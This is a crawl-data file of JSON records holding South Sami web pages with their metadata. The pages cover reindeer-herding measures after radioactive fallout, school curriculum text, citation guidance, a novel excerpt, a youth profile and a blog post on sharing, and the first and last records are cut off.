0.999439537525177}","num_words":102,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Råajvarimmieh båatsosne jis radioaktijve gahtjeldahke\nJis atomeovlæhkoe deahpede maehtieh ovmessie radioaktijve aamhth elmesne firhkieh partihkeligujmie, jïh dejtie maehtieh juvride jïh sjædtojde vaaltasovvedh. Seamma aejkien maahta dam radioaktijve deerjeldahkem gaertjiedidh jis rïektes jïh ulmiejaksoes råajvarimmieh tseegkedh.\nJis ovlæhkoe sjædta, sæjhta Kriseutvalget for atomberedskap (dsa.no) bïevnedh mah råajvarimmieh edtja nïerhkedh. Ovlæhkoen karakteere jïh man vijries vihkeles man guhkiem råajvarimmieh faamosne. Mattilsynet sæjhta lïhkebe bïevnesh vedtedh råajvarimmiej bïjre jïh man guhkiem dah faamosne.\nDan vuelelen datne båatsoen råajvarimmiej bïjre lohkedh jis radioaktijven gahtjeldahkh båetieh.\nBïevnesh lea veedtjeme reektehtsistie Tiltak til næringsmidler ved en atomhendelse (PDF) mij Mattilsynet jïh Direktoratet for strålevern og atomberedskap (DSA). Reektehtsisnie gaajhkh råajvarimmieh jielemevierhtide jïh dan gaavhtan eensi bïevnesh. (daaroengïelesne)\nSjyöhtehke råajvarimmieh båatsosne\nBovtsh radioaktijve deerjeldahkem åadtjoeh voestes iereste deerjeme gåatomesjædtojste.\nBovtsh sjïere dååjroeh gahtjeldahken mænngan juktie dah burhvieh gåatoeh. Burhvie vaaltasåvva radioaktijve deerjeldahke ryöktesth eatnamistie, gusnie jolle vierhtieh gellie jaepine gahtjeldahken mænngan.\nSjyöhtehke radioaktijve aamhth\nJis gahtjeldahke dellie lea ajve radioaktijve cesium vuarta maahta jolle vierhtieh bovtsenbearkosne vedtedh. Cesium kaliumen plïeresne jïh åedtjide\/bearkojde sertiestovvedh.\nFaktorh jaepieboelhki mietie\nJuktie bovtsh jeenjemes burhvieh gåatoeh daelvien, dellie aaj daelvien bovtsh åadtjoeh dejtie jollemes vierhtieh radioaktijve deerjeldahkeste dej voestes jaepiej mietie gahtjeldahken mænngan. Daelvien aaj gosse jeenjemes leekedidh aerpievuekien mietie.\nGosse stoerre gahtjeldahke maahta læjhkan raastevierhtieh bovtsen bearkosne jollebe årrodh aaj dejnie mubpieh jaepieboelhkine. Bovtsh aaj ovmessie gåatomedajvh utnieh dejnie ovmessie jaepieboelhkine. Jis akte gåatomedajve jienebe deerjeme enn mubpijste maahta bovtsh juhtedh dehtie deerjeme gåatomedajveste.\nSjïere seahkarimmieh\nJis dan gaaje jolle vierhtieh radioaktijve cesiumeste bovtsen bearkosne, båatsoesaemieh jïh mubpieh gïeh jïjnje bovtsebearkoem byöpmedieh maehtieh jollebe snjierpedahkedovsh beapmojste åadtjodh enn mubpieh almetjh. Sjïere råajvarimmieh jïh raerieh dåahkan båetieh. Niestiebovtsh mööledh leekedimmien åvtelen nuepiem vedtedh niestiem veeljedh unnebe vierhtine.\nVielie bïevnesh dååjrehtimmiej bïjre råajvarimmieh nöörjen båatsojne Tjernobyl-ovlæhkoen mænngan gååvnesieh DSA-reektehtsisnie «Stråledoser til reindriftsutøvere i Midt-Norge etter Tsjernobyl-ulykken (PDF)»\nSjyöhtehke råajvarimmieh gahtjeldahken åvtelen\n- Jis bovtsh stilledh, byöroe fovrekråbpoeh taahtjoen jallh presennigen jallh seammaleejns nualan bïejedh åvteli gahtjeldahke båata.\nSjyöhtehke råajvarimmieh gahtjeldahken mænngan\n- Nuhtjh saelhtienjåalomegierkiem mïsse cesiume dibrehte\n- Guktie eah dej jeenjemes deerjeldahke dajvine gåatoeh, maahta gåatomedajvem jienebe selektijve vuekine nuhtjedh.\n- Jielije bovtsh mööledh guktie bïevnesh vierhtiej bïjre leekedimmien åvtelen.\n- Bovtside vaenebe deerjeme fovrh leekedimmien åvteli.\n- Leekedimmietïjje jeatjahtahta. Bovtsebearkoen vierhtieh maahta jaepien mietie jeerehtidh, gåatomen sjædtojste jïh dajvijste.\nVielie bïevnesh\nTekste lea kapihtelistie 3d \"Reindrift\" reektehtsisnie Mattilsynet jïh DSA:este: Tiltak for næringsmidler ved en atomhendelse (PDF) (daaroengïelesne)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/mattilsynet.no\/mat-og-drikke\/radioaktivitet\/raajvarimmieh-baatsosne-jis-radioaktijve-gahtjeldahke","date":"2023-09-23T01:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506429.78\/warc\/CC-MAIN-20230922234442-20230923024442-00099.warc.gz","language":"sma","language_score":0.9999649525,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999649524688721}","num_words":381,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Mikkelsen, Anstein Bertije Iđut Vaadtasovvemejaepie 2004 Faage Beapmoe jïh healsoe Eatnemefaage Båatsoe jïh design Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 978-82-7601-099-2 Tïjje 00:27:00 Formaate DVD Reakta-aajhtere Iđut Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Ijje Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Kultuvre Filme Aarhte jïh daajroe Healsoe Eatnemefaage","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/filbma_naturens-glemte-skatter","date":"2023-09-24T18:22:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506658.2\/warc\/CC-MAIN-20230924155422-20230924185422-00315.warc.gz","language":"sma","language_score":0.9995630383,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9995630383491516}","num_words":52,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtedh lohkedh eatnemefaagesne lea eatnemefaageles baakoetjïerth, symbovlh, figuvrh jïh argumeenth guarkedh gosse eatnemefaageles teekstigujmie barka. Lohkeme eatnemefaagesne lea aaj goerehtidh, identifiseeredh, toelhkestidh jïh bïevnesh nuhtjedh ovmessie teekstesåarhtijste, jïh laejhtehkslaakan vuarjasjidh guktie eatnemevitenskapeles bïevnesh våajnoes dorjesuvvieh jïh åtnasuvvieh argumeentine. Lohkeme-evtiedimmie eatnemefaagesne lea bïevnesh teekstine gaavnedh jïh nuhtjedh, jïh teeksth guarkedh ahkedh jienebh faagebaakoetjïertigujmie, symbovligujmie, figuvrigujmie, tabelligujmie jïh implisitte bïevnesigujmie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/nat02-04\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-10-02T15:50:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00015.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":58,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naan aejkien gosse datne tjaalegem tjaalah jïh dellie tjoerh tjaaleldh gaaltijijstie siteradidh. Dellie datne sitaate-reaktam nuhtjh maam tjaelijereakta-laaken nænnoestimmesne §22 tjaaleme.\nRyöktesth sitaate\nSitaath mah åeniehkåbpoe enn göökte linjah, edtjh heereme-væhtaj sisnie tjaeledh. Dellie tjoerh tjaelijen minngie-nommem, jaepiem jïh sæjroem tjaeledh.\nÅvte-nuelie lea dïhte bearkoe mij dennie haabpesne (Bull 2001, s. 61).\nSitaath mah guhkebe enn göökte linjah, tjoerh gåaroes linjam lissiehtidh dovne sitaaten bijjelen jïh nualan.\nTjuara nejpine eensi-laakan bïjre dejtie guehpieridie naajedh, jïh seamma gadtsesen jïh tjerkien gaskoeh. Dehtie aktede raedteste die edtjh baajedh guktie tjerkie sjædta dabran dennie gaamesen gadtsesne (Bull 2001, s. 58).\nJis tjaelijen nommem tjaalegisnie tjaalah, dellie jaepiem jïh sæjroem tjaalah paranteesesne.\nBull (2001, s. 58) jeahta naemhtie jis juelkieh njellieminie.\nParafraseradidh\/ovryöktesth sitaate\nDellie datne boelhketjem jallh vihkeles tsiehkieh åehpiedehtieh dov jïjtjedh baakoejgujmie. Mujhtieh eensilaakan tjaeledh gubpede datne bïevnesh veedtjeme.\nGærjesne Dejpeladtje muvhth vuekieh jïh vätnoeh Ella Holm Bull åarjelsaemien kultuvren bïjre tjaala gusnie jeenemes leah båatsoe-jieliemistie. Bull tjaala guktie edtja darjodh gosse juelkieh njellieminie jïh mah leah vihkele ussjedidh gosse dejnie barkeminie.\nMujhtieh gærjam gaaltije-læstosne tjaeledh mestie siteradamme.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:4:191706\/resource:1:191741","date":"2023-09-30T05:49:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510603.89\/warc\/CC-MAIN-20230930050118-20230930080118-00363.warc.gz","language":"sma","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999939203262329}","num_words":168,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate biehkie gærjeste «Ilmmiid gaskkas» jallh åarjel-saemien gïelesne «Vearteni gaskesne», maam Máret Ánne Sara tjaaleme. Gærja bæjhkoehtovvi jaepien 2013.\nVearteni gaskesne\nSæjroeh 38–42\nTsåahka vïedtjesne tjïjhtje leeki. Tjidtjie gon aehtjieh ligan bijjene orreme abpe jïjjen, jïh Lemme jïh Sanne eakan ligan annje jæjhteme jallh tjoejeme jååktetje-biejjien raejrien-vearelden mænngan.\n– Tjoerem olkese ohtsedidh vihth.\nAehtjie lij raessesne. Abpe iehkeden lij gaajhkide maanaj voelpide jïh åahpetjidie ringkeme, jïh abpe jïjjen lij tjåårveme jïh ohtsedamme bïjre jarkan skåajjesne.\n«Heejja, daate Sanne. You know what to do …»\nAehtjie tellefovnem jamhkeli. Jalhts Lemmen jamhkeldihkie tellefovnem gïetesne steeri, pryövi dïsse aaj ringkedh.\n«Lemme daesnie, ringkh bååstede mænngan.»\nDah annje måsnoeminie?\nDaelie idtji tjidtjie vielie nahkesjh gïknjelidie tjïekedh.\nEnn jis mij akt heannadamme?\nTjoeperdimmie tjidtjien faamoeh nåhkehti, jïh dïhte asveste dealaski, dehtie vesties asveste.\n– Lij raaktan daerpies dan tjamke dïsse soptsestidh? Dïhte hov ajve maana. Dïhte sån guarkeme, jis datne ajve gaajhkem eensilaakan jeahteme. Gaajhkem eensilaakan tjïelkestamme ... men daelie ... daelie dïhte maahta ...\nTjidtjie gïknjelidie njaami, jïh aehtjie damti ov goh vaajmoe lyövlehke leatskoeji mïelken sisnie. Dïhte tjihkedi. Gernjerigujmie boelvi nelnie mearan åejjiem gïeti sisnie lïegkedi. Tjurre aehtjien lïhkebasse njaakedi jïh vååregelaakan altese gïetem njuenine doehtedi.\n– Gïerth mannem, gieries ... hævvi ij leah dov skåltoe.\nTjidtjie huvnji jïh aehtjien åejjiem sov mïelken vööste steeri.\nAehtjie rudtjem sïejkedi.\n– Manne bååstede cross-baanese vualkam. Dagke almetjh dohkoe båateme daelie.\nDïhte tjohpem tseeki jïh olkese skodti. Tjurre dåeriedi, eevre minngesne.\nSaavrehtæjja lij aadtjen båateme don sæjjan gåabph rætnoe akte eevre orre cross-baana edtja båetedh. Dïhte lij geerjene jïh madtjele.\nMijjieh gujht sïjhtebe dam åehpemes cross-baanam åadtjodh abpe laantesne. Hah! Ij gujht gåaredh dagkeres baanam saaht gogkoe tseegkedh.\nDïhte dallatjinie vööjni naakenh lin daesnie orreme vuajeme, jïh moenedi ovrehte gïeh dah lin. Gïeh dan eadtjohke, jïh lissine lïhkebisnie årroejin.\nRaaktan numhtie dah væjkalommes sjidtieh. Tjïelke ïedtjine dïsse mejnie gïehtelieh.\nDïhte mojjesti jïh gutnedi dam tjaebpies sijjiem maam baanese gaavneme.\n– Datne Lemme jïh Sannem vuajneme?\nSaavrehtæjja hïerpeni gosse naaken faahketji lij desnie.\nGie dïhte ålma ... manne dam aarebi vuajneme ... .\nÅvtelen aehtjie lij hïnneme bïjleste båetedh jïh saavrehtæjjan gåajkoe, naaken lij satnem damtijamme.\nJoha Joansu!\n– Ijje, im leah. Dijjieh tjïekedeminie? Hehe …\nAehtjie lij mådtan bïevsteri sisnie jïh ikth vielie gæljoeji.\n– Datne dejtie vuajneme?\nSaavrehtæjja, mij hævvi idtji daejrieh man itjmies lij, ånnetji hïehpeni dehtie haassehke gïeleste, men gosse ånnetji soelkenamme jïh ålman tjoeperdimmiem vööjni, dellie åejjiem baertieli.\n– Ijje, im leah, men vuajnam naakenh aadtjen daesnie orreme vuajeme. Manne ussjedim dagke lij Lemme …\nAehtjie goevledi. Gïejide mah dohkh diekie saedtie-åårki bijjeli juhtin jïh don ööleldihkie dajvese. Hævvi lij eevre aadtjetje gïejh.\n– Men ih leah dejtie vuajneme?\n– Manne aadtjen diekie båateme, jïh eah leah daesnie.\nAehtjie eelki gïejide kraanskodh.\n– Goeredh gïejide raedtien mietie. Vuartesjh gubpede båetieh jïh man haaran dah dam bahhas ööleldihkie sijjiem laehpiejin!\nSaavrehtæjja eelki vïssjelesvoetem dassedh, jïh soelkeni gosse aehtjien tjïelke asvem jïh tjoeperdimmiem vööjni, jïh dan minngesne veedtsi.\nDah fulkesadtin jïh fïerhtem gïejem kraanskoejin, gåabpatjahkh.\n– Bahhas ovdaerpies darjomes! Astoe-aejkiestååkedimmieh!\nAehtjie sikneste snïrri.\n– Ajve dan bahhas ovnuhteligs jabjoehvoeten gaavhtan ...\nDïhte damti guktie asve jïh sårkoe sov tjeapohken bïjre sneerrin guktie jallan buektiehti voejngehtidh.\n– Daate dijjen skåltoe! Saavrehtæjjese tjåarvoeji.\n– Mij dellie?\n– Dijjieh mijjen maanah gåtjkoehtidie jïh haestede daan ovnuhtege darjoemasse jïh mijjem vïegkeldehtede ovgeahpan sjïdtedh.\nSaavrehtæjja nuekie åådtjeme. Idtji guarkah man bïjre dïhte ammes ålma soptsesti, men daelie idtji vielie tööllh dïhte sutnjien tjåarvoeji jïh dåemiedi guktie darjoeji.\n– Bahhas, man bïjre soptsesth?\n– Dan bahhas bahhasvoeten bïjre amma!\nAehtjie njaelmiem dahpi. Dïhte don eerjeme jåartese tjuvtjiedi jïh soermine haepiehti gaajhkem lehkiem gusnie kroehkememaasjina lij moeride ryjvestamme jïh jåartesne kroehkeme.\n– Daate bahhas baana mejnie dijjieh abpe mijjen jieliemassem eerjeminie. Jïh dovne luhpehts! Jïh bielelen mijjem gihtjeme!\nSaavrehtæjja idtji maam gih guarkah.\n– Cross-baana? Maam libie eerjeme? Ij leah mejtegh daesnie aarebistie. Akte eevre aevries onne såekie-boelte, mij ij saaht mïsse åtnasovvh!\nAehtjie åejjiem baertieli jïh deavan nille tjalki.\n– Ij leah naan måane dijjine soptsestidh. Jabjohkh. Idie dijjieh maam gænnah guarkah! Jïh idie dijjieh maam gænnah pryöjjedh!\n– Pryöjjadibie MAAM? Mijjieh libie gaajhkh luhpieh tjïelteste åådtjeme, jïh ij leah daesnie mij gænnah aarebistie. Lïhkemes gåetie lea gellie kilomeeterh daebpede ... daate sijjie ij mïsse akt jeatjah åtnasovvh. Lissine veartenen aevremes dajvesne årrobe jis ryöknh man gellie kvadraate-meeterh fïerhte almetje åtna. Hævvi edtjebe jïh BYÖREBE dam gåaroes dajvem mïsse akt nuhtedh mij ij leah naan jeatjah nåhtose! Jïh im gujht manne guarkah dov lea naan sjïeke laejhtedh. Jïjtjedh maanah hov åadtjoeh daesnie saavredh. LUSTESTALLEDH!\nAehtjien tjelmieh mahte tjaahpadovvin.\n– Mij måanide daej lustesvoetigujmie jis ibie vielie naan jieliemassem utnieh? Gosse beetnegh nåhkelieh, jïh eah vielie gååvnesh cross-sygkelidie jïh lustesvoetide åestedh. Gosse ibie vielie maam gænnah utnieh! Guarkah? Ij mejtegh!\nSaavrehtæjja aaj haassehke sjïdteme daelie.\n– Ij mejtegh? Dijjieh hov gaajhkem utnede maam daarpesjidie! Gaajhkh vaerieh jïh guevtelh leah dijjen. Mijjieh jeatjebh ibie åadtjoeh geatskanidh gænnah! Jïh lissine dijjieh beetnegh åadtjode ryöktesth staateste, juktie gaajhkh dijjen dalhketjh åestedh. Doh urremes sygkelh, skovterh, gaajh stoerre bïjlh. Jïh hæhtjoeh gaajhkem lehkiem!\n– Manne deejrim! Ih goh datne bajhkem gænnah guarkah! Vïenhth manne skovterh jïh ATV-sygkelh åastam lusten gaavhtan? IJJE! Manne orre skovterh jïh sygkelh daarpesjem dan åvteste guhkede sivilisasjovneste fealedem, gusnie daamtaj ij leah nedte tellefovnese! Orre skovtere lea mov jearsoesvoeten gaavhtan! Jïh stoerre bïjlem DAARPESJEM jis edtjem buektiehtidh dovne skovterh, bovtsh jïh sygkelh foeresjidh.\n– Mannasinie ih maehtieh vaedtsedh jallh tjoejkedh, goh tjïelke saemieh darjoejin dejpeli ...?\n– Vïenhth daan beajjetje bovtsh, mah leah vaane motovre-tjoejigujmie sijjeste almetjh, baejieh almetjh geatskanidh? Ij gåaredh bovtsigujmie gïehtelidh jis tjuara vaedtsedh ... jïh mannasinie mijjieh edtjebe ... dellie gujht datne aaj byörh gaajhkh dov daekieh doekedh jïh derhvie-gåetien sïjse juhtedh!\nAehtjie dan måarehks daelie. Idtji saaht guktie vïssjh daam digkiedimmiem jåerhkedh.\nIj leah mov naan nuepie gåaroes åejjieh dievhtedh. Dïhte fïnkese, jïh im daelie asth!\n– Im guktie sïjhth jåerhkedh naemhtie digkiedidh, saavrehtæjjese snïrri jïh bïjlen vööste veedtsi.\nSaavrehtæjja guhkies-soermine dan minngesne haepiehti.\nDoene-hæjtan dej kraatjvehke saemiejgujmie. Eah gåessie gih madtjele.\nAehtjie guhkies sïlligujmie bïjlen vööste veedtsi, åvtelen faahketji tjöödtjesti. Gïejh skåajjen vööste jåerhkiejin. Dïhte skodti. Vaarri goske cross-sygkelem gaavni mij lij såemies skirrine dabranamme göökte belniej gaskesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:bedd10e3-e3c6-4335-a20d-145eee2f88a7","date":"2023-09-22T08:58:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00679.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":968,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Maria Gunilla Påve Wilks jïh leam 19 jaepien båeries. Manne akte nïejte mij lea Snåasesne byjjenamme jïh gusnie orreme maanabaelien raejeste. Manne byjjenamme aktene guektiengïeleldh fuelhkesne, gusnie aehtjie noerhtesaemien, jïh tjidtjie åarjelsaemien soptsestieh. Dan gaavhtan gïele dan joekoen vihkeles munnjien sjïdteme. Seamma tïjjen leam byjjenamme aktene båatsoefuelhkesne, jïh dan åvteste vaerie aaj mov hïejme. Jeatjah ïedtjh jaepiej tjirrh leah ovmessie gaarsjelimmiedarjomh orreme jïh rïektesisnie gaajhkem maam akte maana pryövoe.\nDan åvteste aehtjie Jåhkåmåhkkeste båata, dellie jïjnjem dohkh diekie fealadamme. Juktie fealadimmie akte stoerre bielie mov byjjenimmeste orreme, dellie iemie munnjien sjædta jïjnjem fealadidh daan jaepien. Men daelie åadtjoem stoerre bielieh Nöörjeste vuejnedh. Manne jïjnjem aavodem daan jaapan, gaajhkh almetjh mejtie sïjhtem råakedh jïh gaajhkh orre sijjieh, men ij goh unnemes mijjen kultuvren bïjre soptsestidh.\nNjieljie varke gyhtjelassh:\nMaam 10 jaepine darjoeh?\nManne mån mejnie akt barkeminie mïsse stoerre ïedtjem åtnam! Manne gegkestem manne leam jïjnjem dååjreme jïh jïjnjem lïereme dej vaaseme jaepiej, men jeenjemes gaajhkeste gegkestem manne tråjjedem dejnie maam darjoem.\nMaam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nHmm, ij leah aelhkie jiehtedh. Vïenhtem manne lim joekoen ierielimmesne sjïdteme, mænngan aalkeme föörhkedidh, guktie abpe tsiehkie ajve leajhroes sjïdteme.. haha\nMah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nNïejte mij aadtjen lea orrijamme raajroeh vuartasjidh. Ijje maa, dïhte sån aalka raajrojne Prison Break, jïh mubpie…\nMaam saemien åahpehtjem datne buaresjh?\nHævvi Felgen Orkester <3","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/maria-gunilla-pave-wilks-2\/","date":"2023-09-21T18:30:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506029.42\/warc\/CC-MAIN-20230921174008-20230921204008-00544.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":228,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nBïhkedimmien golme boelhkh. Voestes boelhkesne lohkeme-, tjaeleme- jïh soptsestimmie-strategiji bïjre.\nMubpene boelhkesne vuesiehtimmieh jïh raerieh guktie lohkemegærjam jïh barkoegærjam nåhtadidh.\nMinngemes boelhkesne lissiepaehperh, vielie laavenjassh jïh ovmessie goerh guktie learohki barkoem vuarjasjidh.\nBetaling og personvern\nBetalingsinformasjonen din blir behandlet sikkert. Vi lagrer ikke kredittkortinformasjon og har heller ikke tilgang til kredittkortinformasjonen din.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.solumbokvennen.no\/collections\/samisk-undervisningslitteratur\/products\/gieline-aahpenidh-8-lohkehtaejjan-bihkedimmie","date":"2023-09-21T11:35:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00726.warc.gz","language":"sma","language_score":0.9997894168,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9997894167900085}","num_words":53,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGuktie buerebelaakan tjaeledh\nDaan biejjien seabradahkesne joekoen daerpies jïh nuhteligs mijjieh maehtebe tjaeledh. Gosse datne maam akt tjaaleme dellie vihkeles lohkijh datnem guarkah. Dan åvteste mijjieh raerieh jïh njoelkedassh tjöönghkeme juktie datne edtjh buerebe sjïdtedh tjaeledh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:abc4aa51-8cc3-47a3-902b-f3e10a453fac\/","date":"2023-09-25T19:49:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510085.26\/warc\/CC-MAIN-20230925183615-20230925213615-00323.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":77,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Digitaale tjiehpiesvoeth duedtesne sæjhta jiehtedh digitaale dïrregh jïh medijh nuhtjedh goh skraejrie, pryöveme, dokumentasjovne jïh åehpiedehteme. Edtja aaj digitaale dïrregh jïh progammeeremem nuhtjedh kreatijve jïh sjugneden prosessine. Edtja aaj jïjtse jïh mubpiej sjugneden barkoem dokumenteeredh naemhtie guktie aalkoereaktam jïh persovnevaarjelimmiem krööhkeste. Daajroe njoelkedassi bïjre aalkoereaktan jïh persovnevaarjelimmien bïjre, gosse jïjtse jïh mubpiej guvvieh, filmh jïh sjugneden barkoem nuhtjie, lea vihkeles gaajhkine daltesinie. Evtiedimmie digitaale tjiehpiesvoetijste faagesne lea aelkedh aelhkie digitaale dïrregh mij medijh nuhtjedh, goske maahta jïjtse digitaale dorjesh hammoedidh mah dååjresh sjugniedieh, jïh domtesh, åssjalommesh jïh mïelh gaskesedtieh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-09-28T01:00:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510334.9\/warc\/CC-MAIN-20230927235044-20230928025044-00429.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":89,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juekeme jeenebh ööhpehtimmiem vadta\nJuekeme lea hijven. Jeenemes dejstie maam manne damtem leah aavosne gosse gååvnese gie akth maahtoem maehtieh juekedh.\nDah gïeh barkoem juekieh ånnetje aelkebe mijjese darjoeh gosse åssjalommesh jïh barkoeh juekieh, ij daarpesjh aalkovistie aelkedh. Juekeme dorje guktie mubpesth maahta nuhtjedh jïh aaj evtiedimmie lea iemie aarkebiejjide. Manne aavosne dah almetjidie gïeh lea aavojne mïelesne åssjalommesh jïh barkoeh mannine juakeme. Gosse joe gååvnese naaken væjkele juekejijh , man åvteste dellie daarpesjem buerebe sjïdtedh? Juekeme lea naakenidie dïhte beagkoes goevtesmoeremïjle. Mannasinie nemhtie lea? Juekeme jienebe ektiebarkoem vadta. Jienebe ektiebarkoe buerebe lohkehtimmiem vadta. Jis juakam dellie viehkehtem. Dellie jïermestem, man åvteste manne gaskeviermiekultuvrem jïh juekemekultuvrem åtnam maam ij leah dan mietie? Manne jïjtjemse gihtjem man åvteste \"lyjhkeme\" – båaloem Facebookesne dan stoerre nænnoestimmiem åtna? Dïhte aelhkie nuhtjedh, jïh jeenemes dejstie gieh Facebookesne daam båaloem naan aejkien nuhtjieh. Maahta nemhtie årrodh; veanhtoe lea onne jïh vïtnedimmie dan stoerre? Im raaktan daejrieh, leam tjetskehke vielie dam bïjre lïeredh. Åtnam naaken åssjalommes dan bïjre. Gieltegisnie sïjhtem daejredh jis jïejkedsvoete, leajrasjevoete jïh aeblehtsvoete leah dïhte maam mijjieh veerremes nåajardahta. Dannasinie sïejhme polle mov bloggese bïejim. Pollen nomme \" Mannasinie ibie juekieh?\" '''Aebletjevoete jïh jiejkedsvoete leah dejstie veerremes vestiefaamoe.''' Mov gïehtjedimmesne lea aebletjevoete mij jeenemes vitnie. Hijven mubpie sæjjan båata \"Im raaktan daejrieh jis manne maam akth åtnam juekedh\". Gaavnedimmesne mov aarvehts jååhkesje. Dïhte bööremes jienebelåhkoe sæjhta jeatjabidie galka juekedh, dah hijven åtna dej jeatjabidie barkoej åvteste, mohte eah sijhtieh jïjtje maam akth darjodh. Ij leah hijven vååjnoe. Gæjhtoe gaajhkesidie gïeh leah vaestiedamme. Maam edtja destie vaestiedassijste jïermestidh? Mejtie juekeme prosjekth ij nååhtedh gænnah. Hævvi leah gellieh 